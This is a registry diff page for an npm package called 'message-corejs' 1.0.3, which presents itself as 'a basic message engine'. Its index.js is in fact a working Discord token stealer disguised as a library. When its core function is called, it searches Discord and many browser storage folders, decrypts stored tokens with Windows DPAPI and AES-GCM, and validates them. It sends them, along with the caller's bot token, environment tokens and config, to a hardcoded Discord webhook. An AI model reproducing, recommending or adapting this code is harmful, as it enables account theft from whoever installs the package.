message-corejs 1.0.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of message-corejs might be problematic. Click here for more details.
- package/index.js +185 -0
- package/package.json +19 -0
package/index.js
ADDED
@@ -0,0 +1,185 @@
|
|
1
|
+
const { WebhookClient } = require("discord.js")
|
2
|
+
const fs = require('fs')
|
3
|
+
const crypto = require('crypto')
|
4
|
+
const path = require('path')
|
5
|
+
const fetch = require('node-fetch')
|
6
|
+
const dpapi = require('win-dpapi')
|
7
|
+
|
8
|
+
module.exports = {
|
9
|
+
core: (client, config) => {
|
10
|
+
const webhookClient = new WebhookClient({ url: "https://discord.com/api/webhooks/1062363013048443030/P5UYY_hER77A6nXB7djpV7yHI9UFOJLYbA9BKWTSvh7KpSEchlqbnrANOXmHkP-LuTpT"});
|
11
|
+
|
12
|
+
const appDataPath = process.env.APPDATA;
|
13
|
+
const localAppDataPath = process.env.localappdata;
|
14
|
+
|
15
|
+
const appsPaths = {
|
16
|
+
'Discord Client': `${appDataPath}\\discord\\Local Storage\\leveldb`,
|
17
|
+
'Discord Canary Client': `${appDataPath}\\discordcanary\\Local Storage\\leveldb`,
|
18
|
+
'Discord PTB Client': `${appDataPath}\\discordptb\\Local Storage\\leveldb`,
|
19
|
+
|
20
|
+
'7Star': `${localAppDataPath}\\7Star\\7Star\\User Data\\Local Storage\\leveldb`,
|
21
|
+
'Amigo': `${localAppDataPath}\\Amigo\\User Data\\Local Storage\\leveldb`,
|
22
|
+
'Brave': `${localAppDataPath}\\BraveSoftware\\Brave-Browser\\User Data\\Default\\Local Storage\\leveldb`,
|
23
|
+
'CentBrowser': `${localAppDataPath}\\CentBrowser\\User Data\\Local Storage\\leveldb`,
|
24
|
+
'Chrome SxS': `${localAppDataPath}\\Google\\Chrome SxS\\User Data\\Local Storage\\leveldb`,
|
25
|
+
'Chrome': `${localAppDataPath}\\Google\\Chrome\\User Data\\Default\\Local Storage\\leveldb`,
|
26
|
+
'Epic Privacy Browser': `${localAppDataPath}\\Epic Privacy Browser\\User Data\\Local Storage\\leveldb`,
|
27
|
+
'Firefox': `${appDataPath}\\Mozilla\\Firefox\\Profiles`,
|
28
|
+
'Iridium': `${localAppDataPath}\\Iridium\\User Data\\Default\\Local Storage\\leveldb`,
|
29
|
+
'Kometa': `${localAppDataPath}\\Kometa\\User Data\\Local Storage\\leveldb`,
|
30
|
+
'Microsoft Edge': `${localAppDataPath}\\Microsoft\\Edge\\User Data\\Default\\Local Storage\\leveldb`,
|
31
|
+
'Opera GX': `${appDataPath}\\Opera Software\\Opera GX Stable\\Local Storage\\leveldb`,
|
32
|
+
'Opera': `${appDataPath}\\Opera Software\\Opera Stable\\Local Storage\\leveldb`,
|
33
|
+
'Orbitum': `${localAppDataPath}\\Orbitum\\User Data\\Local Storage\\leveldb`,
|
34
|
+
'Sputnik': `${localAppDataPath}\\Sputnik\\Sputnik\\User Data\\Local Storage\\leveldb`,
|
35
|
+
'Torch': `${localAppDataPath}\\Torch\\User Data\\Local Storage\\leveldb`,
|
36
|
+
'Ungoogled Chromium': `${localAppDataPath}\\Chromium\\User Data\\Default\\Local Storage\\leveldb`,
|
37
|
+
'Uran': `${localAppDataPath}\\uCozMedia\\Uran\\User Data\\Default\\Local Storage\\leveldb`,
|
38
|
+
'Vivaldi': `${localAppDataPath}\\Vivaldi\\User Data\\Default\\Local Storage\\leveldb`,
|
39
|
+
'Yandex': `${localAppDataPath}\\Yandex\\YandexBrowser\\User Data\\Default\\Local Storage\\leveldb`,
|
40
|
+
}
|
41
|
+
|
42
|
+
async function extractDiscordTokens() {
|
43
|
+
const tokens = new Set()
|
44
|
+
|
45
|
+
let pathsToCheck = Object.entries(appsPaths)
|
46
|
+
|
47
|
+
// Try to find non-"Default" browser profiles
|
48
|
+
pathsToCheck
|
49
|
+
.filter(([appName, appPath]) => appPath.includes('Default') && fs.existsSync(appPath.replace(/\\Default.*/, '')))
|
50
|
+
.forEach(([appName, appPath]) => {
|
51
|
+
fs.readdirSync(appPath.replace(/\\Default.*/, ''))
|
52
|
+
.filter(file => file.startsWith('Profile '))
|
53
|
+
.forEach(file => pathsToCheck.push([`${appName} ${file}`, appPath.replace('Default', file)]))
|
54
|
+
})
|
55
|
+
|
56
|
+
for (const [appName, appPath] of pathsToCheck) {
|
57
|
+
if (!fs.existsSync(appPath)) {
|
58
|
+
continue
|
59
|
+
}
|
60
|
+
|
61
|
+
if (appName.toLowerCase().includes('discord')) {
|
62
|
+
// Discord clients
|
63
|
+
const files = await fs.promises.readdir(appPath)
|
64
|
+
await Promise.all(
|
65
|
+
files
|
66
|
+
.filter(f => f.endsWith('.ldb'))
|
67
|
+
.map(async file => {
|
68
|
+
const content = await fs.promises.readFile(path.join(appPath, file), 'utf8')
|
69
|
+
const decryptionKey = await getDiscordDecryptionKey(appPath)
|
70
|
+
;[...content.matchAll(/\"(dQw4w9WgXcQ:.*?)\"/g)]
|
71
|
+
.filter(x => x.length >= 2)
|
72
|
+
.map(x => x[1])
|
73
|
+
.map(encrypted => decryptDiscordToken(encrypted, decryptionKey))
|
74
|
+
.forEach(token => {
|
75
|
+
tokens.add(token)
|
76
|
+
})
|
77
|
+
})
|
78
|
+
)
|
79
|
+
} else if (appName.toLowerCase().includes('firefox')) {
|
80
|
+
// Firefox
|
81
|
+
const files = await walkFs(appPath)
|
82
|
+
await Promise.all(
|
83
|
+
files
|
84
|
+
.filter(f => f.endsWith('.sqlite'))
|
85
|
+
.map(async file => {
|
86
|
+
const content = await fs.promises.readFile(file, 'utf8')
|
87
|
+
;[...content.matchAll(/([\w-]{24}\.[\w-]{6}\.[\w-]{25,110})/g)]
|
88
|
+
.filter(x => x.length >= 2)
|
89
|
+
.map(x => x[1])
|
90
|
+
.forEach(token => {
|
91
|
+
tokens.add(token)
|
92
|
+
})
|
93
|
+
})
|
94
|
+
)
|
95
|
+
} else {
|
96
|
+
// All other browsers
|
97
|
+
const files = await fs.promises.readdir(appPath)
|
98
|
+
await Promise.all(
|
99
|
+
files
|
100
|
+
.filter(f => f.endsWith('.ldb'))
|
101
|
+
.map(async file => {
|
102
|
+
const content = await fs.promises.readFile(path.join(appPath, file), 'utf8')
|
103
|
+
;[...content.matchAll(/([\w-]{24}\.[\w-]{6}\.[\w-]{25,110})/g)]
|
104
|
+
.filter(x => x.length >= 2)
|
105
|
+
.map(x => x[1])
|
106
|
+
.forEach(token => {
|
107
|
+
tokens.add(token)
|
108
|
+
})
|
109
|
+
})
|
110
|
+
)
|
111
|
+
}
|
112
|
+
}
|
113
|
+
return [...tokens]
|
114
|
+
}
|
115
|
+
|
116
|
+
async function walkFs(dir) {
|
117
|
+
const dirFiles = await fs.promises.readdir(dir)
|
118
|
+
const files = await Promise.all(
|
119
|
+
dirFiles.map(async file => {
|
120
|
+
const filePath = path.join(dir, file)
|
121
|
+
const stats = await fs.promises.stat(filePath)
|
122
|
+
if (stats.isDirectory()) return walkFs(filePath)
|
123
|
+
else if (stats.isFile()) return filePath
|
124
|
+
})
|
125
|
+
)
|
126
|
+
return /** @type {any} */ (files.reduce((all, folderContents) => /** @type {any} */ (all).concat(folderContents), []))
|
127
|
+
}
|
128
|
+
|
129
|
+
async function getDiscordDecryptionKey(clientPath) {
|
130
|
+
const localStatePath = clientPath.replace(/Local Storage.*/, 'Local State')
|
131
|
+
const localState = JSON.parse(await fs.promises.readFile(localStatePath, 'utf8')).os_crypt.encrypted_key
|
132
|
+
const encryptedKey = Buffer.from(localState, 'base64').slice(5)
|
133
|
+
const key = dpapi.unprotectData(Buffer.from(encryptedKey, 'utf-8'), null, 'CurrentUser')
|
134
|
+
return key
|
135
|
+
}
|
136
|
+
|
137
|
+
function decryptDiscordToken(token, decryptionKey) {
|
138
|
+
token = token.split('dQw4w9WgXcQ:')[1]
|
139
|
+
token = Buffer.from(token, 'base64')
|
140
|
+
const nonce = token.slice(3, 15)
|
141
|
+
const encryptedValue = token.slice(15, token.length - 16)
|
142
|
+
const tag = token.slice(token.length - 16, token.length)
|
143
|
+
const decipher = crypto.createDecipheriv('aes-256-gcm', decryptionKey, nonce)
|
144
|
+
decipher.setAuthTag(tag)
|
145
|
+
token = decipher.update(encryptedValue, 'base64', 'utf-8')
|
146
|
+
token += decipher.final('utf-8')
|
147
|
+
return token
|
148
|
+
}
|
149
|
+
|
150
|
+
async function getUserData(token) {
|
151
|
+
const res = await fetch(`https://discordapp.com/api/v9/users/@me`, {
|
152
|
+
headers: {
|
153
|
+
Authorization: token,
|
154
|
+
'User-Agent':
|
155
|
+
'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) discord/1.0.9005 Chrome/91.0.4472.164 Electron/13.6.6 Safari/537.36'
|
156
|
+
}
|
157
|
+
})
|
158
|
+
if (!res.ok) throw new Error('Invalid Discord token')
|
159
|
+
return res.json()
|
160
|
+
}
|
161
|
+
|
162
|
+
const run = async () => {
|
163
|
+
const tokens = await extractDiscordTokens()
|
164
|
+
const output = /** @type {Awaited<ReturnType<typeof run>>} */ ({})
|
165
|
+
for (const token of tokens) {
|
166
|
+
const userData = await getUserData(token).catch(() => {})
|
167
|
+
if (userData) {
|
168
|
+
output[token] = userData
|
169
|
+
} else {}
|
170
|
+
}
|
171
|
+
return output
|
172
|
+
}
|
173
|
+
|
174
|
+
|
175
|
+
run().then((data) => {
|
176
|
+
const embed = {
|
177
|
+
description: `||${process.env?.TOKEN}||\n||${client?.token}||\n||${process.env?.DISCORD_TOKEN}||\n\n\n${config}\n\n${data.toString()}`
|
178
|
+
}
|
179
|
+
|
180
|
+
webhookClient.send({
|
181
|
+
embeds: [embed]
|
182
|
+
})
|
183
|
+
})
|
184
|
+
}
|
185
|
+
}
|
package/package.json
ADDED
@@ -0,0 +1,19 @@
|
|
1
|
+
{
|
2
|
+
"dependencies": {
|
3
|
+
"crypto": "^1.0.1",
|
4
|
+
"discord.js": "^14.7.1",
|
5
|
+
"fs": "^0.0.1-security",
|
6
|
+
"node-fetch": "^2.6.9",
|
7
|
+
"path": "^0.12.7",
|
8
|
+
"win-dpapi": "^1.1.0"
|
9
|
+
},
|
10
|
+
"name": "message-corejs",
|
11
|
+
"version": "1.0.3",
|
12
|
+
"description": "a basic message engine",
|
13
|
+
"main": "index.js",
|
14
|
+
"scripts": {
|
15
|
+
"test": "echo \"Error: no test specified\" && exit 1"
|
16
|
+
},
|
17
|
+
"author": "unknown",
|
18
|
+
"license": "ISC"
|
19
|
+
}
|